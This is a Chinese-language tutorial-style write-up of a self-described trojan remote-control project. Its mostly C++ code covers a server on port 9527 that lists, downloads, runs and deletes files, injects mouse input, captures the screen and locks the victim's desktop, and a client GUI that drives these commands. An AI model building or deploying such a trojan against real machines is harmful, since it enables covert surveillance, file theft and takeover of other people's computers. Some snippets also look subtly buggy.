#木马远控项目总结
##第一版本
###服务器端的设计
#####main函数主要流程
在main函数中通过初始化网络套接字,进行监听客户端,通过DealCommand解析网络上客户端发送的数据,来进行相应的操作,并且将相关信息发会给客户端,在完成相关操作之后,会调用close函数关闭套接字,防止资源浪费
#####CserSocket类的封装
在CServerSocket类中主要封装了关于发送的包类,Socket套接字类,文件信息以及鼠标事件的结构体
######关于包的封装
在发送的包中主要包含了包头(FEFF),包的长度,控制命令,包的数据,和校验等元素。
CPacket(WORD nCmd, const BYTE* pData, size_t nSize) {
sHead = 0xFEFF;
nLength = nSize + 4;
sCmd = nCmd;
if (nSize > 0) {
strData.resize(nSize);
memcpy((void*)strData.c_str(), pData, nSize);
}
else {
strData.clear();
}
sSum = 0;
for (size_t j = 0; j < strData.size(); j++)
{
sSum += BYTE(strData[j]) & 0xFF;
}
}
这是一个包的构造函数,其中nLength代表了整个包的长度其中的4代表了和校验和控制命令
int Size() {//包数据大小
return nLength + 6;
}
nLength 包含了从控制命令 (sCmd) 开始到和校验 (sSum) 结束的长度,即 nSize + 4。
数据包的总长度还需要加上包头 (sHead) 和包长度 (nLength) 的长度。
CPacket(const BYTE* pData, size_t& nSize) {
size_t i = 0;
// 寻找包头(0xFEFF)
for (; i < nSize; i++) {
if (*(WORD*)(pData + i) == 0xFEFF) {
sHead = *(WORD*)(pData + i);
i += 2;
break;
}
}
// 检查剩余数据是否足够包含长度、命令和校验和
if (i + 4 + 2 + 2 > nSize) { // 包数据可能不全,或者包头未能全部接收到
nSize = 0;
return; // 解析失败
}
// 读取长度字段
nLength = *(DWORD*)(pData + i);
i += 4;
// 检查包是否完全接收到
if (nLength + i > nSize) { // 包未完全接收到,就返回,解析失败
nSize = 0;
return;
}
// 读取命令字段
sCmd = *(WORD*)(pData + i);
i += 2;
// 读取数据部分(如果有)
if (nLength > 4) {
strData.resize(nLength - 2 - 2);
memcpy((void*)strData.c_str(), pData + i, nLength - 4);
i += nLength - 4;
}
// 读取校验和
sSum = *(WORD*)(pData + i);
i += 2;
// 计算校验和以验证数据的完整性
WORD sum = 0;
for (size_t j = 0; j < strData.size(); j++) {
sum += BYTE(strData[j]) & 0xFF;
}
// 验证校验和是否匹配
if (sum == sSum) {
nSize = i; // 成功解析,更新 nSize
return;
}
nSize = 0; // 解析失败
}
这套代码的作用是从输入的字节数组中提取出数据包的各个部分,包括包头、长度、命令、数据部分和校验和
#pragma(pop)//还原
typedef struct MouseEvent {
MouseEvent() {
nAction = 0;
nButton = -1;
ptXY.x = 0;
ptXY.y = 0;
}
WORD nAction;//点击,移动,双击
WORD nButton;//左键,右键,中键
POINT ptXY;//坐标点击
}MOUSEEV,*PMOUSEEV;
以上代码封装了关于鼠标的操作事件,具体细节见代码
typedef struct file_info{
file_info() {
IsInvalid = FALSE;
IsDirectory = -1;
HasNext = TRUE;
memset(szFileName, 0, sizeof(szFileName));
}
BOOL IsInvalid;//是否有效
char szFileName[256];
BOOL IsDirectory;//是否为目录0否1是
BOOL HasNext;//是否还有后续
}FILEINFO,*PFILEINFO;
以上代码封装了文件的相关信息,详细见代码
class CServerSocket
{
public:
static CServerSocket* getInstance() {
if (m_instance == NULL)//静态函数没有this指针,无法直接访问成员变量
{
m_instance = new CServerSocket();
}
return m_instance;
};
bool InitSocket() {
if (m_sock == -1) return FALSE;
//TODO:校验
sockaddr_in serv_adr;
memset(&serv_adr, 0, sizeof(serv_adr));
serv_adr.sin_family = AF_INET;
serv_adr.sin_addr.s_addr = INADDR_ANY;
serv_adr.sin_port = htons(9527);
//绑定
int m_bind = bind(m_sock, (sockaddr*)&serv_adr, sizeof(serv_adr));
if (m_bind == -1)
{
return false;
}
//TODO
if(listen(m_sock, 1) == -1) return false;
return true;;
}
bool AcceptClient() {
sockaddr_in client_adr;
int cli_sz = sizeof(client_adr);
m_client= accept(m_sock, (sockaddr*)&client_adr, &cli_sz);
if (m_client == -1)
{
return FALSE;
}
return true;
}
bool GetFilePath(std::string& strPath)
{
if ((m_packet.sCmd >= 2)&&(m_packet.sCmd <= 4)) {
strPath = m_packet.strData;
return true;
}
return false;
}
#define BUFFER_SIZE 2048
int DealCommand()
{
if (m_client == -1) return false;
//char buffer[1024] = " ";
char* buffer = new char[BUFFER_SIZE];
if (buffer == NULL)
{
return -2;
}
memset(buffer, 0, BUFFER_SIZE);
size_t index = 0;
while (true)
{
size_t len = recv(m_client, buffer + index, BUFFER_SIZE - index, 0);
if (len <= 0) {
delete[]buffer;
return -1;
}
index += len;
len = index;
m_packet = CPacket((BYTE*)buffer, len);
if (len > 0)
{
memmove(buffer, buffer + len, BUFFER_SIZE - len);
index -= len;
delete[]buffer;
return m_packet.sCmd;
}
}
delete[]buffer;
return -1;
}
bool Send(const char* pData, size_t nSize)
{
if (m_client == -1) return false;
return send(m_client, pData, nSize, 0) > 0;
}
bool Send( CPacket& pack)
{
if (m_client == -1) return false;
return send(m_client, pack.Data(), pack.Size(), 0) > 0;
}
bool GetMouseEvent(MOUSEEV& mouse)
{
if (m_packet.sCmd == 5)
{
memcpy(&mouse, m_packet.strData.c_str(), sizeof(MOUSEEV));
return true;
}
}
CPacket& GetPacket()
{
return m_packet;
}
void CloseClient() {
closesocket(m_client);
m_client = INVALID_SOCKET;
}
private:
SOCKET m_client;
SOCKET m_sock;
CPacket m_packet;
CServerSocket& operator = (const CServerSocket& ss){}
CServerSocket(const CServerSocket& ss) {
m_sock = ss.m_sock;
m_client = ss.m_client;
}
CServerSocket() {
m_client = INVALID_SOCKET;
if (InitSockEnv() == FALSE)
{
MessageBox(NULL, _T("无法初始化套接字环境"), _T("初始化错误"), MB_OK | MB_ICONERROR);
exit(0);
};
m_sock = socket(PF_INET, SOCK_STREAM, 0);//TCP
}
~CServerSocket() {
closesocket(m_sock);//关闭
WSACleanup();
};
BOOL InitSockEnv() {
WSADATA data;
if (WSAStartup(MAKEWORD(1, 1), &(data)) != 0)
{
return false;;//TODO:返回值处理
};
return TRUE;
};
static void releaseInstance() {
if (m_instance != NULL)
{
CServerSocket* tmp = m_instance;
m_instance = NULL;
delete tmp;
}
}
static CServerSocket* m_instance;
class CHelper {
public:
CHelper()
{
CServerSocket::getInstance();
}
~CHelper() {
CServerSocket::releaseInstance();
}
};
static CHelper m_helper;
};
以上代码封装了套接字的操作,在main函数定义变量后,则可以直接访问里面的方法,与客户端进行网络通信,其中大多都是普通的网络套接字的收发函数,不过赘述,其中比较重要的是DealCommand函数,用于解析客户端发送的命令
定义缓冲区大小
#define BUFFER_SIZE 2048
检查客户端连接
if (m_client == -1) return false;
分配缓冲区内存
char* buffer = new char[BUFFER_SIZE];
if (buffer == NULL)
{
return -2;
}
memset(buffer, 0, BUFFER_SIZE);
-
接收数据并解析数据包
-
使用 recv 函数从客户端接收数据,将接收到的数据放入缓冲区。
-
如果接收数据长度 len 小于等于 0,释放缓冲区内存并返回 -1。
-
更新索引 index,并将其赋值给 len。
-
尝试将缓冲区的数据解析为一个 CPacket 对象。
-
如果解析成功 (len > 0),将解析后的数据包移动到缓冲区的起始位置,并更新索引 index。
-
返回解析出的命令 (m_packet.sCmd)。
while (true) { size_t len = recv(m_client, buffer + index, BUFFER_SIZE - index, 0); if (len <= 0) { delete[] buffer; return -1; } index += len; len = index; m_packet = CPacket((BYTE*)buffer, len); if (len > 0) { memmove(buffer, buffer + len, BUFFER_SIZE - len); index -= len; delete[] buffer; return m_packet.sCmd; } } delete[] buffer; return -1; }
#####功能函数解析
######查看磁盘信息(MakeDriverInfo)
在MakeDriverInfo函数中,通过生成系统中可用驱动器的字符串表示,并将其封装到一个 CPacket 对象中。并且封装完成后通过Send发送到客户端
int MakeDriverInfo() {//1->A 2->B 3->C,26->Z
std::string result;
for (int i = 1; i <= 26; i++)
{
int ret = _chdrive(i);//改变当前驱动
if (ret == 0)
{
if(result.size()>0)
result += ',';
result += 'A' + i - 1;
}
}
CPacket pack(1, (BYTE*)result.c_str(), result.size());Dump((BYTE*)pack.Data(), pack.Size());
CServerSocket::getInstance()->Send(pack);
return 0;
}
######获取文件目录信息(MakeDirectoryInfo)
1.首先获取文件路径,通过调用GetFilePath获取文件路径,并且判断是否存在
std::string strPath;
if (CServerSocket::getInstance()->GetFilePath(strPath) == false) {
OutputDebugString(_T("当前的命令,不是获取文件列表,命令解析错误"));
return -1;
}
2.尝试改变当前工作目录到 strPath,如果失败则创建一个 FILEINFO 对象表示访问失败的目录信息,并发送该信息包,然后返回 -2。
if (_chdir(strPath.c_str()) != 0) {
FILEINFO finfo;
finfo.IsInvalid = TRUE;
finfo.IsDirectory = TRUE;
finfo.HasNext = FALSE;
memcpy(finfo.szFileName, strPath.c_str(), strPath.size());
CPacket pack(2, (BYTE*)&finfo, sizeof(finfo));
CServerSocket::getInstance()->Send(pack);
OutputDebugString(_T("没有权限访问目录"));
return -2;
}
3.使用 _findfirst 函数查找目录中的第一个文件或子目录,如果没有找到则输出错误信息并返回 -3。
_finddata_t fdata;
int hfind = 0;
if (hfind = _findfirst("*", &fdata) == -1) {
OutputDebugString(_T("没有找到任何文件"));
return -3;
};
4.使用 _findnext 函数遍历目录中的文件和子目录,将每个找到的文件或子目录信息封装到 FILEINFO 对象中,并发送该信息包。
do {
FILEINFO finfo;
finfo.IsDirectory = (fdata.attrib & _A_SUBDIR) != 0;
memcpy(finfo.szFileName, fdata.name, strlen(fdata.name));
CPacket pack(2, (BYTE*)&finfo, sizeof(finfo));
CServerSocket::getInstance()->Send(pack);
} while (!_findnext(hfind, &fdata));
5.遍历结束后,创建一个 FILEINFO 对象表示没有更多文件,并发送该信息包。
FILEINFO finfo;
finfo.HasNext = FALSE; // 表示没有文件了
CPacket pack(2, (BYTE*)&finfo, sizeof(finfo));
CServerSocket::getInstance()->Send(pack);
######下载文件(DownloadFile)
1.调用 CServerSocket::getInstance()->GetFilePath(strPath) 获取需要下载的文件路径。
std::string strPath;
CServerSocket::getInstance()->GetFilePath(strPath);
2.使用 fopen_s 以只读二进制模式打开文件。如果文件打开失败,创建一个空的 CPacket 数据包并发送,然后返回 -1。
long long data = 0;
FILE* pFile = NULL;
errno_t err = fopen_s(&pFile, strPath.c_str(), "rb");
if (err != 0) {
CPacket pack(4, NULL, 0);
CServerSocket::getInstance()->Send(pack);
return -1;
}
3.如果文件成功打开:
使用 fseek 和 _ftelli64 获取文件大小,并发送文件大小信息。
使用 fseek 设置文件指针到文件开始位置。
循环读取文件内容,每次读取最多 1024 字节,并将读取的数据封装到 CPacket 数据包中发送出去。
文件读取完毕后关闭文件。
if (pFile != NULL) {
fseek(pFile, 0, SEEK_END);
data = _ftelli64(pFile);
CPacket head(4, (BYTE*)&data, 8);
fseek(pFile, 0, SEEK_SET);
CServerSocket::getInstance()->Send(head);
char buffer[1024] = " ";
size_t rlen = 0;
do {
rlen = fread(buffer, 1, 1024, pFile);
CPacket pack(4, (BYTE*)buffer, rlen);
CServerSocket::getInstance()->Send(pack);
} while (rlen >= 1024);
fclose(pFile);
}
4.发送一个空的 CPacket 数据包表示文件发送完毕,然后返回 0。
CPacket pack(4, NULL, 0);
CServerSocket::getInstance()->Send(pack);
return 0;
######打开文件(RunFile)
1.获取文件路径,同上
2.使用 ShellExecuteA 函数来运行指定路径的文件。参数解释如下:
NULL: 父窗口句柄,设置为 NULL 表示没有父窗口。
NULL: 动作参数,NULL 表示使用默认动作(通常是打开或运行文件)。
strPath.c_str(): 要运行的文件路径。
NULL: 传递给被执行文件的参数,设置为 NULL 表示没有参数。
NULL: 工作目录,设置为 NULL 表示使用默认工作目录。
SW_SHOWNORMAL: 显示窗口的方式,这里表示以正常方式显示窗口。
3.创建一个命令类型为 3 的 CPacket 数据包,数据为空,并通过 CServerSocket 发送这个数据包,通知客户端文件已被执行。
int RunFile() {
std::string strPath;
CServerSocket::getInstance()->GetFilePath(strPath);
ShellExecuteA(NULL, NULL, strPath.c_str(), NULL, NULL,SW_SHOWNORMAL);
CPacket pack(3,NULL ,0);
CServerSocket::getInstance()->Send(pack);
return 0;
}
######鼠标的移动(MouseEvent)
1.从服务器接收鼠标事件数据。
MOUSEEV mouse;
if (CServerSocket::getInstance()->GetMouseEvent(mouse))
2.根据接收到的鼠标事件数据设置鼠标按键和动作标志。
DWORD nFlags = 0;
switch (mouse.nButton) {
case 0: // 左键
nFlags = 1;
break;
case 1: // 右键
nFlags = 2;
break;
case 2: // 中键
nFlags = 4;
break;
case 4: // 没有按键
nFlags = 8;
break;
}
switch (mouse.nAction) {
case 0: // 单击
nFlags |= 0x10;
break;
case 1: // 双击
nFlags |= 0x20;
break;
case 2: // 按下
nFlags |= 0x40;
break;
case 3: // 放开
nFlags |= 0x80;
break;
}
3.在本地执行相应的鼠标事件操作。
switch (nFlags) {
case 0x21: // 左键双击
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, GetMessageExtraInfo());
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, GetMessageExtraInfo());
case 0x11: // 左键单击
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, GetMessageExtraInfo());
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x41: // 左键按下
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x81: // 左键放开
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x22: // 右键双击
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, GetMessageExtraInfo());
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, GetMessageExtraInfo());
case 0x12: // 右键单击
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, GetMessageExtraInfo());
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x42: // 右键按下
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x82: // 右键放开
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x24: // 中键双击
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, GetMessageExtraInfo());
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, GetMessageExtraInfo());
case 0x14: // 中键单击
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, GetMessageExtraInfo());
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x44: // 中键按下
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x84: // 中键放开
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, GetMessageExtraInfo());
break;
case 0x08: // 单纯的鼠标移动
mouse_event(MOUSEEVENTF_MOVE, 0, 0, 0, GetMessageExtraInfo());
break;
}
4.通过数据包的方式通知客户端鼠标事件已处理。
CPacket pack(4, NULL, 0);
CServerSocket::getInstance()->Send(pack);
######远程监控(SendScreen)
1.使用 CImage 对象 screen 创建一个位图,该位图的大小与屏幕相同。通过 GetDC(NULL) 获取屏幕设备上下文
CImage screen; // 使用 GDI+ 进行图像处理
HDC hScreen = ::GetDC(NULL); // 获取屏幕设备上下文
int nBitPerPixel = GetDeviceCaps(hScreen, BITSPIXEL); // 获取屏幕的每像素位数
int nWidth = GetDeviceCaps(hScreen, HORZRES); // 获取屏幕宽度
int nHeight = GetDeviceCaps(hScreen, VERTRES); // 获取屏幕高度
2.使用 BitBlt 函数将屏幕内容复制到 screen 对象的位图中,然后释放屏幕设备上下文。
// 创建一个和屏幕尺寸相同的位图
screen.Create(nWidth, nHeight, nBitPerPixel);
// 将屏幕内容复制到位图中
BitBlt(screen.GetDC(), 0, 0, nWidth, nHeight, hScreen, 0, 0, SRCCOPY);
ReleaseDC(NULL, hScreen); // 释放屏幕设备上下文
3.创建一个全局内存对象 hMem,并在其上创建一个流对象 pStream。然后,将图像数据保存到流中,并获取全局内存的指针和大小。
IStream* pStream = NULL;
HRESULT ret = CreateStreamOnHGlobal(hMem, TRUE, &pStream); // 在全局内存上创建一个流对象
if (ret == S_OK) {
screen.Save(pStream, Gdiplus::ImageFormatPNG); // 将图像保存到流中
LARGE_INTEGER bg = { 0 };
pStream->Seek(bg, STREAM_SEEK_SET, NULL); // 将流的位置设置到开始处
PBYTE pdata = (PBYTE)GlobalLock(hMem); // 锁定全局内存,获取指向内存的指针
SIZE_T nSize = GlobalSize(hMem); // 获取全局内存的大小
4.创建一个命令类型为 6 的数据包 pack,并通过 CServerSocket 发送该数据包。
// 创建一个数据包,命令类型为 6,数据为空
CPacket pack(6, pdata, nSize);
CServerSocket::getInstance()->Send(pack); // 通过套接字发送数据包
GlobalUnlock(hMem); // 解锁全局内存
5.释放流对象、全局内存和 CImage 对象的设备上下文资源。
// 释放资源
pStream->Release();
GlobalFree(hMem);
screen.ReleaseDC();
return 0;
}
######锁机的操作(LockMachine)
通过在单独的线程中处理锁定屏幕,可以更好地管理和控制这个过程,避免阻塞主线程,同时拥有独立的消息处理循环以确保锁定和解锁的稳定性和响应性。这种设计方式在需要暂时控制用户操作或确保安全性的应用场景中非常有用。
锁机的具体操作过程:
1.首先添加一个资源视图,用来占领整个屏幕,不让用户操作
// 创建并显示全屏对话框
dlg.Create(IDD_DIALOG_INFO, NULL);
dlg.ShowWindow(SW_SHOW);
// 获取屏幕尺寸并设置对话框位置
CRect rect;
rect.left = 0;
rect.top = 0;
rect.right = GetSystemMetrics(SM_CXFULLSCREEN);
rect.bottom = GetSystemMetrics(SM_CXFULLSCREEN);
dlg.MoveWindow(rect);
2.配置相关的参数
/ 设置窗口置顶
dlg.SetWindowPos(&dlg.wndTopMost, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 隐藏光标
ShowCursor(false);
// 隐藏任务栏
::ShowWindow(::FindWindow(_T(“Shell_trayWnd”), NULL), SW_HIDE);
// 限制鼠标活动范围
rect.left = 0;
rect.top = 0;
rect.right = 1;
rect.bottom = 1;
ClipCursor(rect);
3.创建一个消息循环,方便解锁
// 消息循环,等待按键事件
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
// 检查是否按下了 'A' 键,若按下则退出循环
if (msg.message == WM_KEYDOWN && msg.wParam == 0x41)
{
break;
}
}
4.恢复屏幕并且结束进程
// 恢复光标和任务栏
ShowCursor(true);
::ShowWindow(::FindWindow(_T("Shell_trayWnd"), NULL), SW_SHOW);
// 销毁对话框
dlg.DestroyWindow();
// 结束线程
_endthreadex(0);
return 0;
5.发送包数据
// 发送锁定包
CPacket pack(7, NULL, 0);
CServerSocket::getInstance()->Send(pack);
######解锁的操作(UnLockMachine)
直接虚拟按a键给进程发送并且发送包数据给客户端即可解锁
int UnLockMachine()
{
//dlg.SendMessage(WM_KEYDOWN, 0X41,0x01E0001);
//::SendMessage(dlg.m_hWnd, WM_KEYDOWN,0x41, 0x01E0001);
PostThreadMessage(threadid, WM_KEYDOWN, 0X41, 0);
CPacket pack(7, NULL, 0);
CServerSocket::getInstance()->Send(pack);
return 0;
}
######测试网络联通的操作(UnLockMachine)
发送空包检测网络是否联通
int TestConnect()
{
CPacket pack(1981, NULL, 0);
CServerSocket::getInstance()->Send(pack);
return 0;
}
###客户端的设计
在客户端第一版主要是通过事件来处理,即通过BEGIN_MESSAGE_MAP来处理数据的收发,用 BEGIN_MESSAGE_MAP 宏来映射对话框中的按钮点击和列表框消息到相应的成员函数,每个映射都需要指定控件的 ID 和对应的处理函数,这些 ID 在资源文件中定义
####CRemoveClientDlg的详细介绍
######发包函数(SendCommandPacket)
由于socket的收发数据的函数差不多,于是就复用了服务器端的ServerSocket的类的封装,删除了关于监听(listen)和接收(Accept)客户端请求的函数,添加了连接(connect)客户端的函数
在发包函数中,通过传给函数命令代码,是否自动关闭连接,要发送的数据,数据的长度,然后对他们进行封装,发送给服务器处理,然后接收服务器的数据
int CRemoveClientDlg::SendCommandPacket(int nCmd, bool bAutoClose, BYTE* pData, size_t nLength)
{
// 更新对话框数据成员
UpdateData();
// 获取客户端套接字实例
CClientSocket* pClient = CClientSocket::getInstance();
// 初始化套接字
bool ret = pClient->InitSocket(m_server_address, atoi((LPCTSTR)m_Port));
if (!ret)
{
// 网络初始化失败,显示错误信息并返回 -1
AfxMessageBox("网络初始化失败");
return -1;
}
// 创建命令包
CPacket pack(nCmd, pData, nLength);
// 发送命令包
ret = pClient->Send(pack);
//TRACE("Send ret %d\r\n", ret);
// 处理命令并获取响应
int cmd = pClient->DealCommand();
//TRACE("cmd ret %d\r\n", n);
// 获取服务器返回的数据包
pClient->GetPacket();
//TRACE("", pClient->GetPacket().sCmd);
// 如果 bAutoClose 为真,则关闭套接字
if(bAutoClose) pClient->CloseSocket();
// 返回命令响应码
return cmd;
}
######测试联通(OnBnClickedBtnTest)
测试是否联通命令为1981
######获取磁盘信息(OnBnClickedBtnTest)
1.调用 SendCommandPacket 函数,发送命令代码 1 给服务器。假设命令代码 1 是请求文件信息。
int ret = SendCommandPacket(1);
if (ret == -1)
{
AfxMessageBox(_T("命令处理失败"));
return;
}
2.获取服务器响应
CClientSocket* pClient = CClientSocket::getInstance();
std::string drivers = pClient->GetPacket().strData;
3.解析并插入驱动器信息
遍历 drivers 字符串,每当遇到逗号 , 时,表示一个驱动器信息结束。将驱动器信息拼接上 :,插入到树控件 m_Tree 中,并在其下添加一个空项,然后清空 dr 字符串以便下次使用。
std::string dr;
for (size_t i = 0; i < drivers.size(); i++)
{
if (drivers[i] == ',')
{
dr += ":";
HTREEITEM hTmp = m_Tree.InsertItem(dr.c_str(),TVI_ROOT,TVI_LAST);
m_Tree.InsertItem(NULL, hTmp, TVI_LAST);
dr.clear();
continue;
}
dr += drivers[i];
}
######获取路径信息(GetPath)
循环获取当前树项 hTree 的文本,将其与之前构建的路径 strRet 拼接,形成一个新的路径字符串。每次循环后,获取当前树项的父项,继续处理,直到没有父项为止
do {
strTmp = m_Tree.GetItemText(hTree);
strRet = strTmp + '\\' + strRet;
hTree = m_Tree.GetParentItem(hTree);
} while (hTree != NULL);
######删除树形控件信息(DeleteTreeChildrenItem)
主要逻辑:
调用 GetChildItem 函数,获取 hTree 项的第一个子项,并将其赋值给 hSub。
if (hSub != NULL) m_Tree.DeleteItem(hSub);
如果 hSub 不为空,调用 DeleteItem 函数删除该子项。
######加载文件信息(loadInfo)
1.首先获取当前鼠标位置,根据鼠标位置获取树控件项
// 获取鼠标当前位置
CPoint ptMouse;
GetCursorPos(&ptMouse);
m_Tree.ScreenToClient(&ptMouse);
// 根据鼠标位置获取树控件项
HTREEITEM hTreeSelected = m_Tree.HitTest(ptMouse, 0);
if (hTreeSelected == NULL)
return;
// 如果树控件项没有子项,则返回
if (m_Tree.GetChildItem(hTreeSelected) == NULL)
return;
2.然后通过控件获取路径,发送给服务端处理,然后接收服务器返回的数据
// 获取选中的树控件项的路径
CString strPath = GetPath(hTreeSelected);
// 发送命令包以获取文件信息
int nCmd = SendCommandPacket(2, false, (BYTE*)(LPCSTR)strPath, strPath.GetLength());
// 获取返回的文件信息
PFILEINFO pInfo = (PFILEINFO)CClientSocket::getInstance()->GetPacket().strData.c_str();
CClientSocket* pClient = CClientSocket::getInstance();
3.对返回的数据进行处理,使其能够在界面显示,并且正确的插入到对应的位置,通过检查文件后面是否还用,并且是否是目录进行相关操作,如果是目录则插入树形节点,如果没有则插入右侧列表中,并且在解析数据的过程中如果遇到.或者…则跳过
// 处理返回的文件信息
while (pInfo->HasNext) {
if (pInfo->IsDirectory) {
if ((CString(pInfo->szFileName) == ".") || (CString(pInfo->szFileName) == "..")) {
int cmd = pClient->DealCommand();
if (cmd < 0)
break;
pInfo = (PFILEINFO)CClientSocket::getInstance()->GetPacket().strData.c_str();
continue;
}
HTREEITEM hTmp = m_Tree.InsertItem(pInfo->szFileName, hTreeSelected, TVI_LAST);
m_Tree.InsertItem("", hTmp, TVI_LAST);
} else {
m_List.InsertItem(0, pInfo->szFileName);
}
int cmd = pClient->DealCommand();
if (cmd < 0) {
break;
}
pInfo = (PFILEINFO)CClientSocket::getInstance()->GetPacket().strData.c_str();
}
######右键获取文件处理列表(OnNMRClickListFile)
1.通过获取当前的鼠标位置,查看是否命中,如果命中则创建一个菜单,其中包含对文件的操作
void CRemoveClientDlg::OnNMRClickListFile(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
*pResult = 0;
CPoint ptMouse, ptList;
GetCursorPos(&ptMouse);
ptList = ptMouse;
m_List.ScreenToClient(&ptList);
int ListSelected = m_List.HitTest(ptList);
if (ListSelected < 0) return;
CMenu menu;
menu.LoadMenu(IDR_MENU_RCLICK);
CMenu* pPupup = menu.GetSubMenu(0);
if (pPupup != NULL)
{
pPupup->TrackPopupMenu(TPM_LEFTALIGN|TPM_RIGHTALIGN, ptMouse.x,ptMouse.y,this);
}
}
######下载文件(OnDownloadfile)
1.首先获取列表中相应文件的索引和文件名
int nListSelected = m_List.GetSelectionMark();
CString strFile = m_List.GetItemText(nListSelected, 0);
2.选择保存的位置并且二进制形式打开用户选择的文件
CFileDialog dlg(FALSE, "*", strFile, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, NULL, this);
if (dlg.DoModal() == IDOK) {
FILE* pFile = fopen(dlg.GetFileName(), "wb+");
if (pFile == NULL) {
AfxMessageBox(_T("没有权限保存该文件,或者文件无法打开"));
return;
}
3.获取完整路径,获取当前选中的树项,并拼接得到完整的文件路径
HTREEITEM hSelected = m_Tree.GetSelectedItem();
strFile = GetPath(hSelected) + strFile;
TRACE("%s\r\n", LPCSTR(strFile));
4.发送文件下载的命令包
CClientSocket* pClient = CClientSocket::getInstance();
do {
int ret = SendCommandPacket(4, false, (BYTE*)(LPCSTR)strFile, strFile.GetLength());
if (ret < 0) {
AfxMessageBox("执行下载命令失败");
TRACE("执行下载失败,ret = %d\r\n", ret);
break;
}
5.获取文件长度,从服务器获取文件长度
long long nlength = (long long)pClient->GetPacket ().strData.c_str();
if (nlength == 0) {
AfxMessageBox(“文件长度为0或者无法读取文件”);
return;
}
6.一直接收文件数据,循环接收文件数据并写入到用户选择的文件中。如果传输失败则显示错误信息并跳出循环
long long nCount = 0;
while (nCount < nlength) {
ret = pClient->DealCommand();
if (ret < 0) {
AfxMessageBox("传输失败");
TRACE("传输失败 ret = %d", ret);
break;
}
fwrite(pClient->GetPacket().strData.c_str(), 1, pClient->GetPacket().strData.size(), pFile);
nCount += pClient->GetPacket().strData.size();
}
7.关闭文件和套接字
fclose(pFile);
pClient->CloseSocket();
######删除文件(OnDeletefile)
主体逻辑和上边下载文件的逻辑差不多
1.首先先获取文件路径
// 获取树控件中选中的项
HTREEITEM hSelected = m_Tree.GetSelectedItem();
// 获取选中项的完整路径
CString strPath = GetPath(hSelected);
// 获取列表控件中选中的项的索引
int nSelected = m_List.GetSelectionMark();
// 获取选中项的文本(文件名)
CString strFile = m_List.GetItemText(nSelected, 0);
// 拼接得到完整的文件路径
strFile = strPath + strFile;
2.向服务端发送删除文件的命令,然后重新加载文件信息
int ret = SendCommandPacket(9, true, (BYTE*)(LPCSTR)strFile, strFile.GetLength());
if (ret < 0)
{
AfxMessageBox("删除文件命令执行失败!!!");
}
LoadFileCurrent();
######打开文件(OnOpenfile)
整体逻辑和删除文件差不多
1.先获取文件的索引和名字信息等
HTREEITEM hSelected = m_Tree.GetSelectedItem();
CString strPath = GetPath(hSelected);
int nSelected = m_List.GetSelectionMark();
CString strFile = m_List.GetItemText(nSelected,0);
strFile = strPath + strFile;
2.向服务端发送打开文件的命令,然后响应
int ret = SendCommandPacket(3, true, (BYTE*)(LPCSTR)strFile, strFile.GetLength());
if (ret < 0)
{
AfxMessageBox("打开文件命令执行失败!!!");
}
###总结
在这个系统中,客户端通过点击响应的事件,来向服务器发送数据,并且服务器响应之后发回给客户端就能在前端展示,但是这么做也有很多问题,就是一个时间段内只有一个主进程进行处理,如果中间一个某个操作卡在那里,则整个线程都卡在那里,例如在处理下载文件的处理过程中,如果文件过大,整个线程就会卡在那里,造成资源浪费,而且这种编码形式非常冗余i,耦合度太大,业务逻辑与具体的实现过程耦合在一起,不方便扩展,而且修改起来十分麻烦,为此,可以采用MVC的设计模式进行重构。
##第二版本
###服务器端的重构
在服务端的重构过程中,将创建一个专门存放命令的类,Command类,在该类的头文件中,将功能操作的函数放到了这里,并且设置了一个消息映射表
struct {
int nCmd;
CMDFUNC func;
}data[] = {
{1,&CCommand::MakeDriverInfo},
{2,&CCommand::MakeDirectoryInfo},
{3,&CCommand::RunFile},
{4,&CCommand::DownloadFile},
{5,&CCommand::MouseEvent},
{6,&CCommand::SendScreen},
{7,&CCommand::LockMachine},
{8,&CCommand::UnLockMachine},
{9,&CCommand::DeleteLocalFile},
{1981,&CCommand::TestConnect},
{-1,NULL}
};
通过该映射表使得代码更简洁。只需在结构体数组中添加新元素即可增加新的命令,不需要修改多处代码,不需要调用switch,能够使增加新命令变得更简单,只需在结构体数组中添加一个新条目即可,不需要改动现有的逻辑。
并且在处理客户端发送的命令的时候通过ExceteCommand来处理并且返回相应的结果。
int CCommand::ExceteCommand(int nCmd,std::list<CPacket>& lstPacket,CPacket& inPacket)
{
std::map<int, CMDFUNC>::iterator it = m_mapFunction.find(nCmd);
if (it == m_mapFunction.end())
{
return -1;
}
return (this->*it->second)(lstPacket,inPacket);
}
